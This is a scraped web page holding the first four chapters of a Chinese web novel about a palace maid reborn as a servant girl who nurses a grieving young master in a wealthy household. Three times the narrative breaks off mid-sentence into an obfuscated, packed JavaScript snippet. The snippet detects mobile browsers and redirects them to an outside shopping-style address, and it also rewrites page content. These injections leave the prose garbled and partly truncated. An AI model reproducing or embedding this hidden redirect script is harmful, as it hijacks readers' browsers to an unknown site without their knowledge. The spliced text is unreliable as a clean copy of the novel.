《妾步登天》 1. 身已灭魂未消 哗！ 库贮房门口扬手一盆凉水浇了阶下一女孩满身满脸。 时值深秋，料峭天寒，凉水浸透身上的夹袄，叫那女孩冻得瑟瑟发抖。 外头闹出大动静，惹了屋里一圆脸可亲的丫鬟掀了帘子出来掩面叫道：“素梅姐姐这是做什么，可是这丫头犯了什么错？” 那名唤素梅的丫鬟放了木盆，两手插腰，银月似的面庞上秀眉倒插，怒道：“清月阁来的说我短了他这个月的炭例，上门来讨。春燕，你说说哪有这样的道理，若是你也来闹，他也来闹，我这差事可怎么做！” 春燕一听清月阁，心中登时便有了计较。 她又看阶下那女孩可怜，两步下了石阶拉过那女孩的手，问道：“你是新进府的吧，叫什么名儿？” 那女孩顿了顿，半晌才道：“回姐姐的话，我叫靳连珠。” 非是靳连珠胆小不经事，吓呆了不敢回话，实是她托生到延州谢家这家生子的身上不过半日，尚未适应。 她上一世叫景春，乃先帝淑妃身边的宫女，太妃殁后，她便自请出宫。 出宫时候年岁大了，容貌也并不出众，却因着侍奉太妃的贤德名声，又同成安侯夫人有些旧交，便许了幼官舍人营的教官。成婚三载，两人日子和美，还生了个白白胖胖的儿子。 那儿子长得大了，愈发乖巧可爱，在学问上也颇有灵气。 丈夫体贴，儿子上进，自己做些刺绣贴补家用，日子过得是蜜里调油。 偏生天有不测风云，儿子长到十二岁，读书归家时因当街帮一得罪了纨绔的老妪出头，被那纨绔怀恨在心，竟折返回头拉进巷子活活打死。 她丈夫听闻此事心神恍惚落马而死，自己连年上告无门，心郁成疾也撒手去了。 再醒来时，自己身已灭魂却未消，竟成了陪都一书香继世之家的家生子，名唤靳连珠。 “你姓靳？”春燕问道，“范荣儿你可识得？” 连珠点头规矩道：“正是我娘。” 春燕闻言喜道：“原是靳掌柜和荣大娘的女儿，我说瞧着怎么有两分面熟。原是自己人，这可真是大水冲了龙王庙。” 连珠的爹娘都是府里的老人，关系盘根错节，春燕的哥哥同靳九在一间酒楼做活，自然要给几分面子。 她想到连珠所求，又忆起几日前刚翻过房里的炭本，这个月清月阁那一栏确实空着，分明是一块炭也没送去。 清月阁住的三少爷生母乃是姨娘柳氏，早听闻素梅同她有些官司，如今她刚亡故，素梅心狭气小可不就要报复在她遗子身上。 春燕有心卖她个面子，拉了素梅的手到一边低声道：“素梅姐姐何苦跟小丫头置气，她来问，咱们查了，若是真缺了补上就是。” 春燕说得在理，可素梅却是鼻孔出气：“哼！犯了那样大的错事，还有脸来拿炭。” “错不错的，到底是主子。听说这几日三少爷病着，清月阁的仆妇竟无一人上报，等高热不退烧得说了糊话，才叫老爷知晓。虽说那柳氏造孽犯了大罪，三少爷也被迁怒，但到底是嫡亲骨肉，老爷怜惜，事了还不是将清月阁那起子惫懒的下人们给打发了。”春燕说到此看着素梅眼珠一转，脸上表情似有松动，“姐姐是个伶俐人，何必在这些小事上犯糊涂。” 素梅想到柳银霜生前那般得宠，虽说因着顶撞老夫人，叫老夫人气得一病不起，最后仙辞了。但毕竟自己也裹了白绫谢罪，难保不叫大老爷回心转意，怜爱起她的孩儿来。 可方才自己一通叱骂，再去给人拿炭，岂不是打自己的脸。 她几番犹豫，却叫春燕看得通透，赶紧给了梯子下：“怪我，这些日子府里事多，定是我给忙忘了。还劳烦姐姐去帮我瞧一瞧，若是真少了，补来就是。” 素梅听罢，心下气顺，一掀帘子进屋去备炭。 春燕见人走了，掏出帕子去擦她脸上的水珠。 方才远观还不觉得，现下细看只见她形容尚小，却是面若桃花、眼含秋波，实是个小美人。又看她一身溻湿，牵了她手就要往屋里走。连珠立着身子不肯，垂眼的余光直看向屋里的素梅。 春燕顺她目光望去，叹声安慰道：“老夫人过身，柳姨娘下葬，又逢重阳，她忙得脚不沾地，这才一肚子气撒在你身上。对了，你进了清月阁可还好？” 话到这里，门帘窸窣，素梅抱着一篓炭斜睨着亲近说话的两人。 连珠退步行礼，仓促回了春燕的话，拿了炭不敢多留。 谢府的库贮房，位于临街后罩房的最西侧，去到清月阁还要过四道院墙，走三个长廊。迎风一吹，湿漉漉的夹袄贴着肌肤冻得连珠牙齿打颤。 她头脑混沌，一个哆嗦想起方才自己对着春燕说了什么在清月阁还好。 其实不好。 她前世心愿未了，本以为重活一世是老天爷给她的机会。可她却托生成能被随意惩治的丫鬟，连出府都难，更遑论要让那纨绔给个公道，一命抵一命。 幸得她幼年跟的淑妃端庄持重，养出了一副沉稳豁达的心性。出宫后生活磨砺，又接连丧子丧夫，心肠练得坚如磐石。 不然刚刚库贮房门口的那一泼水，恐就叫这个十三岁的小丫头吓破了胆。 连珠抱着篓子脚步更快，心里暗道，也不知是不是阎王爷戏弄，竟让我成了这刚刚进府的小丫头。若是能早一天，我也要向这身子的爹娘争上一争。亲爹是酒楼的二掌柜，一身算账置业的手艺，亲娘又有案头上的功夫，加上我缝补针线，攒上几年银子，阖家赎身也并非难事。等获了自由，还要去做那前世未成之事，报谦儿冤死之仇。 走了半盏茶的时间，到了三进院的清月阁外。 这谢府也算大家，共分三房。 大房谢渊乃延州礼部祭祀清吏司员外郎，三房谢浔乃延州太常寺天坛祠祭署奉祀。陪都延州职权空心，二人皆是清闲官职。 独二房谢湛走武官一脉，闯出些名堂，在京中任兵部武选司郎中，携了家眷暂居京城。 谢家三房虽官都不大，但其上数数代曾出过一位将军，后人转而经营商事，经年积累，已得百万之富。 谢家大宅也几历翻修扩建，如今占据整条街巷，层楼叠榭自不必提。 院门半开，连珠跨了门槛虚掩上木门，就见西边耳房出来个瓜子脸樱桃口的丫头，正是和自己一同入府的兰儿。 “真取了炭来！都说库贮房的丫头最是难缠，你倒好本事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092435|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”兰儿瞧见连珠手里的炭篓，转眼又见她发丝滴水，衣裳半湿，捂嘴道，“怎么弄成这个样子？” 连珠摇摇头，她不愿多嘴生事，只拿着炭篓到了西角房，一边给炉子生火一边问：“三少爷怎么样了？” “还睡着呢，不过烧已退了。” 点了火折，木屑燃出一点烟，连珠又问：“那两位呢？” 兰儿往窗外看了一眼，瘪嘴道：“打发我洒扫院子，就又回房了，我看是在榻上歇着呢！明明也是丫鬟，竟比主子还快活。” 原来，清月阁的下人因怠慢主子，已被大老爷尽数撵了出去。 执掌中馈的大夫人袁氏又拨了白芍和青芝，另从新进府的丫鬟中挑了兰儿和连珠来侍奉。 白芍仗着自己是二等丫头，又是袁氏房里出来的，事事打发青芝去做。等兰儿和连珠来了之后，那些洒扫擦洗、拿饭跑腿的脏活累活就又落到了两人身上。 清月阁正经主子三少爷仍旧病着，自是无人能管制得了她。 兰儿一通牢骚，连珠却知，这其中另有隐情。 柳姨娘气得老夫人身故，又吊颈而亡，虽然被主子强压下不准再提，但纸哪能包得住火，府里众人自是人人避清月阁不及。 大老爷虽顾及父子之情，但公私冗杂，府中俗务一并交由夫人袁英华打理。自己也还为生母亡故之事气着，并不常来清月阁看望。 她这身子记忆里还曾听范荣儿说起，柳氏得宠时跋扈嚣张，并不将大夫人放在眼里。焉知白芍理直气壮的疏忽照顾没有袁氏的意思。 旁的不说，单说这烧水的炭火，若是白芍去拿，哪有不给的道理。 可白芍推了青芝，青芝又推着不肯做，闹得病中之人连口热水都喝不上。 燃了炭，放上铜壶，兰儿接过蒲扇，耸她道：“这儿我来看着，你还是赶紧去换身衣裳，仔细病着。” 连珠点头应了，转身往东边去了。 院子东侧三间房其中两间是她们四个丫鬟分住，连珠同兰儿住南间。 房中简单，不过两张床、一张桌、凳子数张，墙角摞着两个樟木箱子放些寻常衣物。 连珠上头只一个哥哥，她一个女孩儿，生得又是娇俏，在家中自然得宠。带进府里的衣物虽都是半旧的，却款式活泼颜色鲜艳。 她挑来挑去，择了一件藕荷色梅花纹的夹袄，在其中最不显眼。 换了衣裳，端坐镜前，连珠拆了发辫用布巾细细地擦，直至半干才又重新绑好。 看着镜中娇柔的面孔，连珠长舒一口气，暗道这辈子恐也是多灾多难。 豪门为婢不说，一进府便碰见娘在府中的对头来金家的。 旁人可能看不出，但自己在宫中见多了阿谀奉承之辈，一眼瞧出领着她的仆妇为着讨好大夫人身边的婆子，观其眼色，不知使了什么手脚将她分到这寥落的清月阁。 她爹娘为给她寻个好差，递上去的十两银子真真是打了水漂。 罢罢罢，关关难过关关过。 自己早就遭逢大灾，如今还有什么经不起的！ 想到此，她起身抚平衣摆，才刚要迈出步子就听得院里有人喊道：“人呢！白日就待在屋里躲懒呢！” 2. 一片伤心两片伤心 连珠拉开房门，就见院儿正当中站着个杏脸桃腮的大丫头，正是白芍了。 她一身水红色撒花袄掐腰站着更显得身姿袅娜，这会儿听见开门声，略一扭头，髻上攒珠蝴蝶簪上坠着的流苏晃了两晃。 白芍见了连珠，秀眉微挑，张口就讥道：“好啊，才刚进府就敢撂挑子耍滑头，先头吴嬷嬷不是说了三少爷跟前不能离人。你倒好，自个儿关了房门在屋里，打量着我没脾气不敢教训你是不是？” 她声音颇大，兰儿连蒲扇都没放下便出来替连珠说话：“白芍姐姐，刚刚连珠去拿炭了，三少爷跟前应是青芝看着...” 兰儿话没说完，在屋里拈糕吃着看热闹的青芝见扯到自己身上，赶紧出来道：“呸，她拿炭早回来了，要你在这儿多嘴。” 青芝脸色不好，白芍亦是怒从心中起，只道这个刚买进门的小蹄子都敢跟自己上脸！ “那连珠浑身湿了...” 兰儿不服，还欲再辩，袖子却被连珠拉了拉。 “白芍姐姐，是我的不是。我这就去三少爷跟前守着，不离半步。” 白芍一看连珠低头，脸色稍霁，仍旧怒哼一声甩了裙子去了。青芝那眯缝眼连瞪了兰儿好几下，也跟着进了屋。 连珠见兰儿还气着，知她是为自己出头，轻声宽慰道：“你与她们辩也是无用，单瞧她方才声量，就晓得她并非忧心三少爷，不过是想抓个错处来立威。我若不低头，她怎么肯。” 连珠无畏在这些口舌之争上浪费心神，便是争赢了，那白芍一等丫鬟的身份压下来，吃亏的还不是自己。 兰儿是火气上头，冲动而为，这会子冷静下来，脑筋一转也道：“是了，青芝日日捧着她，知道是青芝的不是她也不会怪责，只会骂咱们多事。” 连珠看她想通，拍拍她的手，倒了半盆热水往正屋走。 清月阁正房左右各有一间耳房，三少爷便在东边住着。 正房当中一张鸡翅木圆桌，四围嵌螺钿圆凳。桌后靠墙摆一条案，案上左摆珊瑚牡丹盆景，右放铜胎掐丝珐琅宫灯，墙壁上挂的是前朝大家孙淼的《玉堂芝兰图》。 正房同耳房间以芙蓉纹木架相隔，另挂秋香色软纱帘，装饰搭配无不精巧，可见柳姨娘的用心。 只是帘下剔红六角亭式香筒既不焚香，又落了灰，想必是柳姨娘身故后下人懒于打理敷衍了事，任这屋蒙尘。 连珠绕开帘子，将铜盆往窗边的矮几上放了，去看床上睡着的人。 素软缎锦被下躺着一小少年，虽在病中脸颊消瘦、容色蜡黄，也看得出眉清目秀、样貌出众。 连珠看那三少爷，心中一阵翻腾，总觉得恍似自己的孩儿谦哥还在眼前。 初进清月阁时，她本打算安分守己，只熬过几年出府罢了。 谁知见了病中少年，竟让她忆起谦哥十岁时也生得一场大病，高烧不退、胡言呓语。是她日不离床夜不合眼，喂药擦身，辛苦照料，才叫谦哥一日日好了起来。 人人道，病在儿身痛在娘心。 没做过母亲的人，自不了解这分心情。世间无限丹青手，一片伤心画不成。若是那柳姨娘还在，看见自己孩儿如此，定是像她一样心痛死了。 连珠感慨神伤，又念及三少爷谢培生母已亡，心中难免愈发怜惜。 她本不知自己未饮孟婆汤再活一世是为了什么，现下却盼着三少爷能安然痊愈。 若非因此，她也不会主动去揽了拿炭的活，平白让人浇了一身水。 连珠想到这里，伸手去摸谢培的脑门，凉呼呼的出了一层薄汗。她投布入水，裹了热热的汗巾擦去薄汗，又将脖颈、双臂也一一擦了。 擦完之后将水倒进门后的木桶，拿了抹布将桌案柜台上的灰都擦了一遍。 等忙完，兰儿又来送药。 三少爷迷迷糊糊地睡着，两人只能一人架他起身，一人把碗凑在唇边慢慢地喂。 吃了药，白芍又吩咐兰儿去大厨房拿晚膳，待兰儿吃完来换连珠，天已是擦黑。 “我给你拨了一份饭菜，放在五斗柜里。”兰儿道，“白芍她们看着，不让我多留菜，你将就着吃。” 连珠不挑，谢了她，又问：“三少爷的饭拿了吗？” “拿了，是粟米鱼羹，现下还热着，一会儿凉了再热热。” 两人正说着话，忽听里间传来两声咳嗽，连珠扭身看了一眼，对着兰儿道：“三少爷怕是醒了，白日里就喝了些水，定是饿了，我先伺候他吃饭。”说着将鱼羹端了进去。 屋里未免风大，没开窗，只燃了一根火烛，隐隐绰绰地见床上人半靠着青缎引枕。 谢培连日烧得迷瞪，这会儿醒来方才清醒。循声抬眸去看，就见一容色秀丽、样貌面生的丫鬟端着托盘进来。 “你是谁？”谢培病着久不开口，声音喑哑便是他自己也吓了一跳。 “奴婢连珠。” 连珠两字在谢培舌尖滚了一遭，听他又问：“是哪个院里来的？” “回三少爷的话，奴婢刚进府，是大夫人指了来的。” 话音刚落，这句话不知哪里惹了谢培不悦，他脸色一变，就手挥开手边的茶盏，正落在连珠脚边，泼了她一裙子的茶。 “滚出去！” 白芍和青芝的房间紧邻着谢培的卧房，这样大的响动自然是听得一清二楚。 白芍面露得意，对着青芝道：“瞧瞧，下贱坯子的种还这么猖狂。我们也不必仔细服侍，没得讨骂。” 青芝只吃吃地笑着，并不附和，心里却道，这白芍着实胆大，敢如此编排主子。也是她老子在大老爷跟前得意，自己又是从大夫人院里出来的，仗着有人撑腰罢了。不过她这般口无遮拦，难保日后不惹出祸事，自己还是小心得好。 正房外头，兰儿自然也听见了谢培叱骂，她绞着帕子犹豫不敢近前。 片刻后却见连珠捧着一堆碎瓷片出来，食指还洇出一道血痕。兰儿忙道：“呀，流血了。” 连珠冲她摇头，两人出了屋外方道：“不过是个小口子，拿纱布裹了就没事了。” 连珠扔了瓷片，看看裙上一摊茶渍，只道自己今日真就是跟水过不去了。 两人回了屋里，兰儿一边替她包扎一边气道：“都说谢家锦衣玉食，就是进来做丫鬟也是享福的。结果倒好，进来被主子打骂不算，还要受她们的气！” “锦衣玉食那也是主子们，下面服侍的人脑袋都系在人家的身上，哪来的什么享福。” 兰儿听她说得悲观，心里好奇道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092436|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听你这般说，你倒也不肯进谢府做下人？” 连珠摸了摸包扎好的食指，轻声笑道：“哪有上人不做做下人的。” 兰儿闻言不解：“你既不想做下人，又何苦揽那些活？” 连珠自不能告诉她，前世在浣衣局时，多少宫女变着法儿躲懒，她却总是本本分分，不肯耍滑。正是这份旁人眼中的愚钝，恰好被偶然路过的太妃看见，得她青眼，将自己留在身边。 如此际遇，连珠陪在太妃身边耳濡目染，之后做人做事更是既在其位，便谋其政，不为博赞，但求心安。 习惯而已，要改也难。 将这些翻涌的前尘旧忆压下，连珠只对兰儿浅浅一笑，寻了个寻常理由：“左不过是对得起每月领的那份工钱，心里踏实。再说，人一忙起来，这长长的日头，反倒不觉着那么难熬了。” 说着话，连珠又将兰儿给她留的饭拿来吃了。两人说些小话，连珠又欲起身往屋外走。 兰儿叫住她：“你又去哪里？” “算算时辰，三少爷该是用完晚膳了，我去将碗筷拿出来。” “方才三少爷生了那样大的气，你还要去？” 细算起来，三少爷才刚过十二，连珠哪里会同他计较。更何况她心中本就存着对三少爷的怜惜，知他失了母亲愁肠百结，愈发不介意这点小事了。 “总不能把碗筷就留在卧房吧？明儿一早不还得送去大厨房？” 兰儿怕她再吃亏，扯着她的袖子不肯她去：“那...那...” 连珠见她喃喃半日，也说不出什么，于是玩笑道：“那不然，你去拿？” “啊？” 兰儿一听，下意识撤了手，而后又觉得自己这般实在太不仗义，脸颊刷地红了半边。 连珠被她逗得一乐，安慰道：“逗你呢！想来三少爷吃完也睡了，我悄悄地进去，不叫他看见再恼就是了。” 正屋里一片寂静，里间床帐也放了下来，谢培果如连珠所想吃罢睡了。 矮几上，碗盘里饭菜皆剩了大半，仍旧放在托盘上。 连珠猫儿般悄无声息地走近，动作利落地将碗盘收拾退出门去。 整个过程行云流水，没发出半点声响，直至带上房门，才“吱呀”发出一声轻响。 她动作一顿，在门外凝神静听片刻，房内仍旧无声无息，这才转身离去。 竟不知门合拢瞬间，床榻之上的人缓缓睁眼。 眼前昏暗，颊边有泪未干。 姨娘死了。 他的娘死了。 被暮香堂的仆妇活生生给勒死的。 他躲在窗沿下瞧得一清二楚，自然也瞧见父亲是如何背对娘亲的苦苦哀求，置之不理。 可娘亲小产本就郁郁，又因误会被罚，不过一语之错，所有人竟将祖母之病推至她身上。 何其无辜！ “何其无辜...” 他握紧了拳头重重砸向身侧床板，震得生疼，只是这疼又如何能抵得过心里丧母之痛。 偏他还得忍着，被一顶孝字压得直不起身。不是对姨娘的孝，是对祖母对父亲对大夫人的孝。 无母何恃？ 他悲恸地以被掩口，哭得无声无息，只依稀听得哀戚的一声娘亲。 3. 桂花陈皮山楂茶 夜里，谢培复又烧了起来。 当夜本该是青芝守着，可她早睡得鼾声如雷，哪里管得这些。还是连珠半夜放不下心，去看了才知。 幸得烧的不高，只是他忽而眉头紧皱，忽而摇头叹气，似是痛苦。 连珠瞧他睡得实不安稳，也不敢离开，只是坐在榻登上守着。 等了片刻，仍不见好转，连珠记起谦儿病时最爱听首儿歌，便开口轻声哼唱：“风不吹，浪不高，小小的船儿轻轻摇...风不吹，树不摇，小鸟不飞也不叫，小娃娃啊快睡觉...” 这歌曲调简单，连珠唱得也无甚技巧，可柔声反复唱了两遍之后，谢培的眉头竟真的渐渐舒展，沉沉睡去。 连珠见状，终于是呼出一口气，撑着床沿便要离开。谁知右手忽然被紧紧攥住，手心滚烫，用力入骨。 连珠哪想到睡着的人还会有此动作，挣扎着就要将手抽回。她这一动，反叫人握得更紧，便是要掰开手指才能挣脱。 “娘...” 一声轻唤，叫连珠将视线移回谢培脸上，只见黑夜里他眼角落着一滴莹泪。 夜来携手梦同游，想来是这孩儿梦中和娘相见，将自己也当成她娘了。 推己及人，连珠倒不再动了。 一夜疾风骤雨，晨起时雨却停了。 谢培掀了床帘，那轻容纱滑落掌心，叫他一时怔愣。昨夜发梦，他总记得牵了姨娘的手走了好长一段。 呆了片刻，他攥紧拳头，偏头不欲再看再想。眸光正瞧见床边矮几上白瓷茶盏边落着一点血渍。 这血该是昨夜那丫鬟捡拾瓷片割伤了手，房舍晦暗，这点暗红的血渍竟没叫她发觉。 昨日初醒，他只听闻那丫鬟是被大夫人送来，一时竟难自控，动了真火。 有报人之志，使人知之，殆也。他虽年幼，但深宅大院蝇营狗苟自懂事之日便时常得见。 若那丫鬟真是暮香堂的人，将话传了回去，难保不叫人起疑。姨娘已故，他已是如履薄冰，若再叫大夫人厌弃提防，那才真的是断了出路。 他眉心微皱，怪自己沉不住气。 正想着，脚步声响，竟是个丫头闷头闯了进来。 近日三少爷寻常都在床上睡着，青芝做事便日益懒怠。本该守夜的日子睡到天光大亮，匆匆忙忙披了外衫想进屋看看三少爷是否醒了。 谁知，竟撞在枪头上。 “三...三少爷，你醒了...” 谢培坐在床侧，一双瑞凤眼直直地盯住青芝，叫她胸口一颤，双股打摆，心道，这三少爷病着醒着两个模样，如此看人叫人怕也怕死了。 她心中有亏，生怕三少爷再怪责她擅离职守，眼珠一转已是想好了借口。 “三少爷，都怪奴婢只顾着煎药，忘了时辰。” 方才出门她便闻到药味，知道这几日三少爷的药都是连珠负责，她又是个锯嘴葫芦，就算知道自己贪了功，也只怕是打碎了牙往肚子里咽。 如此一番话说得心安理得，竟似真的一般。 谢培端详她一阵，看得青芝心里打鼓，忽听他问：“药好了？” “好了好了，我这就去端来。”青芝如蒙大赦，提裙转头去了。 麻黄、香薷、白芷、羌活...煎出的一瓷盅苦药，谢培只拧了眉头，一饮而尽。 他放了药碗，复看向青芝，又是个生面孔，想来是自己病中，院里的人都换了一遭。不必说，自是执掌中馈的大夫人手笔。 “你叫什么？” “三少爷，奴婢青芝。” “院里如今还有什么人？” 清月阁一溜四个丫鬟齐站在圆桌前一字排开，垂首低眉。 当中白芍也规规矩矩，半点不敢逾制，只是低头暗道，快活日子没过两天，这病歪歪的三少爷怎地突然就好了起来。 “院里是谁管事？” 话毕，谢培就见四人中身量最高，衣着最俏，还挂着一对耳坠的丫鬟向前一步。 “回三少爷的话，奴婢一等丫鬟白芍，总管院里大小事务和库房账册。”白芍说着有些得意地抬了抬下巴。 谢培又问旁的三人各管什么。 “青芝管衣裤被褥，连珠和兰儿领着膳食茶水和洒扫的活计。” 谢培点点头道：“清月阁地方小事情少，我喜静，寻常不需要人在身边伺候。若非我叫，不必来房里。” 他说完，既无赏赐也不敲打，只让各自散了。 白芍和青芝瘪嘴不满，只道柳姨娘教出的孩儿不懂人情。 连珠却心道，昨夜到今朝不过几个时辰，这三少爷便收敛心神，叫人看不出半点脆弱，实非不懂人情，乃是心性果毅，说不准日后可堪大材。 做完手头的活计，连珠又看西厢煮水煎药的小厨房各处脏污，堆着的笸箩竹篮许久不用，落了一层厚灰。日光晴好，正合适打扫一番。 出了清月阁院门，往南走十步拐角处一株桂树下有口三眼井，用水极是方便。 连珠和兰儿一人拎着个木桶行去打水。 兰儿话多，出了院门瞧见对面的松风苑牌匾就憋不住问：“我听说松风苑的丫鬟们个个都愿意往大少爷的跟前挤，什么紫笋、玉露的还为着给大少爷磨墨，闹得厉害。怎地方才三少爷不用咱们伺候，白芍瞧着还高高兴兴的。” 兰儿的问题倒不难想通。 一来，清月阁无论主子下人都尚年幼，一团孩气，不会争风吃醋。二来，连珠想，恐怕白芍青芝看不上三少爷，当然不想绑在清月阁。 只是这话连珠不想说，便糊弄玩笑道：“你才多大，就打听这个。” 兰儿脸颊绯红，扭了身子快步上前，羞赧道：“你浑说笑我，不理你了。” 绿云剪叶，金桂飘香，一桶水拎上了，只见面上浮了一层黄金屑。 兰儿轻嗅了一下，喜道：“咱们这口井好，连水都染了桂花香气。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092437|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这树桂花开得正盛，连珠想起兰儿刚刚提到的紫笋玉露，就道：“我看厨房罐子里的茶，条索松散，色也暗淡，定是放得时间久了，陈了。不若咱们拢些桂花，回去制茶。” 兰儿爱香，听连珠提起哪能不应。便是她不爱喝茶，做个香囊也是好的。 两人抬水回去，又拿了细布和竹竿，敲了些桂花晒。 日头大，两三日就得了。 这日午膳大厨房的菜色皆是油腻，饭后连珠就泡了一壶桂花陈皮山楂茶让兰儿拿进房里。 兰儿端了茶进屋，心中忌惮三少爷朝连珠砸过杯子，每回到跟前伺候总是惴惴难安。 谢陪身子大安后成日在书房坐着，见兰儿递上一杯茶就手接了，茶碗刚送到唇边就嗅到一股桂花香气。 他微微一顿，难得开口问道：“素日喝得都是黄芽豆绿，今日怎么拿了这个来？” 兰儿闻声肩膀一颤，赶紧道：“大厨房中午拿来的煎鹌子油大，樱桃肉味重，吃了不好消化。山楂解腻，陈皮消滞，喝一些山楂陈皮，午歇的时候不叫肚子难受。” 谢培听她说得头头是道，不由抬头看了她一眼：“你懂得倒多。” 兰儿檀口微张，也不知三少爷是夸奖还是怪她多嘴。 “有话就说。” “其实...其实兰儿不懂，这些都是连珠说的，我不过依样画葫芦照着念。连珠还说...”兰儿顿了顿，觉得自己是真的多嘴了。 连珠... 谢培刚醒来就听过这个名儿，不光听了，还砸了个杯子叫那丫鬟受了伤。 事后也不知是不是心有顾忌，叫茶送水一应事务谢培都是唤兰儿打理，细细想来，似乎已有几日未同那个叫连珠的打过照面。 “她还说什么？” 谢培一连两问，比前几日加在一起说得话还要多。 “连珠说，三少爷身子刚好，脾胃尚虚，原是不该吃这些肥甘厚味的食物。只是大厨房...” 大厨房趋炎附势，哪里肯给清月阁单做别的菜，自然是有什么就给什么。这话兰儿不敢细说，只偷瞧了三少爷一眼，糊弄过去，继续说道：“所以连珠才泡了这茶，让我送来。” 她这话说完，也不再多嘴，静静立在一边等着吩咐。 谢培听了，便想到这几日晚膳时除了大厨房常常做得那些寻常菜色，还添了一碗汤。或是沙参玉竹或是当归川穹，不是润肺滋养就是益气补血。 若是前一日那汤没用两口，第二日就换了别的，不会再端上来。 大厨房自然不会对他这个不受宠的主子下这般功夫，难道这也是那丫鬟的手笔？ 屋里静了一阵。 须臾，才听见谢培放下茶碗，幽幽地道：“你倒实诚。行了，出去吧。” 兰儿躬身退了出去，眼尾的余光瞧见桌案上茶盏内里空了，仅杯口氤氲着一团热气。 她长舒一口气，想来这茶是合了三少爷的胃口。 4. 做衣如做人 连日下了几场雨，愈发凉了。 前儿，大老爷打发身边小厮来问了谢培的身子，听说大安，便让他不要再耽误功课，按时进学。 谢家兄弟三个虽都做官不高，却极看中子女学问，塾中请的是延州老儒常文季。本家只有袁氏长子谢坤和谢培入学，另有谢家旁支子弟十余人，晨起上学，日暮而归。 如此，清月阁中愈加清闲。连珠只每日扫了院子，洗了衣衫，便无事可忙。 她两次同白芍告假想归家一趟，都被搪塞回去。 这会儿见白芍同对门松风苑的银针说话，才上前又提了一回。 半月相处，连珠早摸清了白芍的性子，知她要强好面，在外人跟前更是装出宽和体贴的模样。 果然，只听那银针说了句“孝顺丫头”，白芍也只得道：“既是你母亲身上不适，那就早去早回吧。” 她嘴上含笑，眼底结霜，见连珠规规矩矩地退下，末了才转头对着银针抱怨道：“院里的小丫鬟变着法儿的偷懒，比不得松风苑，还是大少爷管教有方。” 连珠拿了牌子，哪里还管白芍信口胡说，从两院之间的走廊穿过，出了角门就往后街去了。 靳九非是大爷们跟前得脸的人，并不同那些管事紧邻着谢府的后门住。 往北又行十数米，进了万秀巷，右手边老榆木门挂黄灯笼的才是靳家。 木门半开，连珠直接推了进院，就见一细布包发、身裹围裙的妇人在井沿边切瓜。 范荣儿听见响动，回身见到连珠，眸光一亮。放下菜刀，往围裙上擦了擦手，就来揽连珠：“我的儿，怎么这时候回来了？瘦了，可是在府里吃了苦？” 原本就还带着这身子从前的记忆，再加上一连串关心，叫连珠那点子尴尬尽数消了。 她喊出一声娘，后边的话倒渐渐利落起来：“没有吃苦，只是这几日得空，才特意出府来看你们。父兄呢？” 范荣儿拉着她的手往屋里去，又倒了茶水拿了点心让她吃。“他们这会儿还不是在铺子里，你哥哥跟着你爹学了账房，两人就越发不着家了。一会儿我让人去和你爹说你来家了，总得见见。” 她说着，拿了一块白糖糕塞进连珠手里，看她小口地吃，又问：“晚上可在家吃？” 连珠摇摇头：“不好待那么久，三少爷下学还得伺候。” 说到三少爷，范荣儿叹了口气：“你一到三少爷身边，你爹就发了好大一通火，要去寻那张婆子把钱要回来，我好说歹说才将他劝下。我早不在府里，他又在主子面前说不上话，闹来闹去，还得你在府里受夹心气。” 范荣儿面色愁苦，依稀还能看出从前几分美人样子。 她年轻时仗着容色骄人，行事冲撞，吃了好大的亏。现在年纪上来，愈加怕事，也忧心女儿娇蛮要和她一样在府里吃亏。 可今日归家，见连珠说话行事稳重妥帖，让她放了一半的心。 娘俩说了会儿话，连珠又问家里有没有多的细布针线，收拾了个包袱准备带走。 范荣儿又添了些自己做的瓜饼，才用纸包了就听见院里的脚步声。 “珠儿回来了。” 才踏足屋内一见女儿，靳九唇上的八字胡抖了抖，又念及自己该为严父，瞬间严肃面容：“怎么这个时候回来，别耽误府里的差事。” 范荣儿在外小心谨慎，对着靳九却仍有两分余威，放下纸包，不悦道：“珠儿才回来，你不说点好的！是三少爷上学，她才家来，哪里会耽误什么。” 靳九有些惧内，听她如此说也只是摸了胡子，嘿嘿一笑。他虽恨女儿没能在府里谋个好差，却盘算着过些时日再托人将她调离清月阁，只是还未事成不必在连珠跟前提起。 范荣儿见他只一人回来，又问：“连玉呢？” “店里盘货，他脱不开身。不过是珠儿归家，哪用这么多人一齐回来。” 范荣儿不爱听这话，扭身将包裹替连珠整理好：“还缺些什么？银钱可还够使？” “进府的时候不是带了钱？哪里要花这许多。”靳九说着上前掀了包袱，“带这许多布做什么？你别顾着做自己的事，怠慢了主子。” “好好好，叫你回来，左一句耽误差事，右一句怠慢主子，没得给我们娘俩添堵！”范荣儿将他一推，脸上明显不好看。 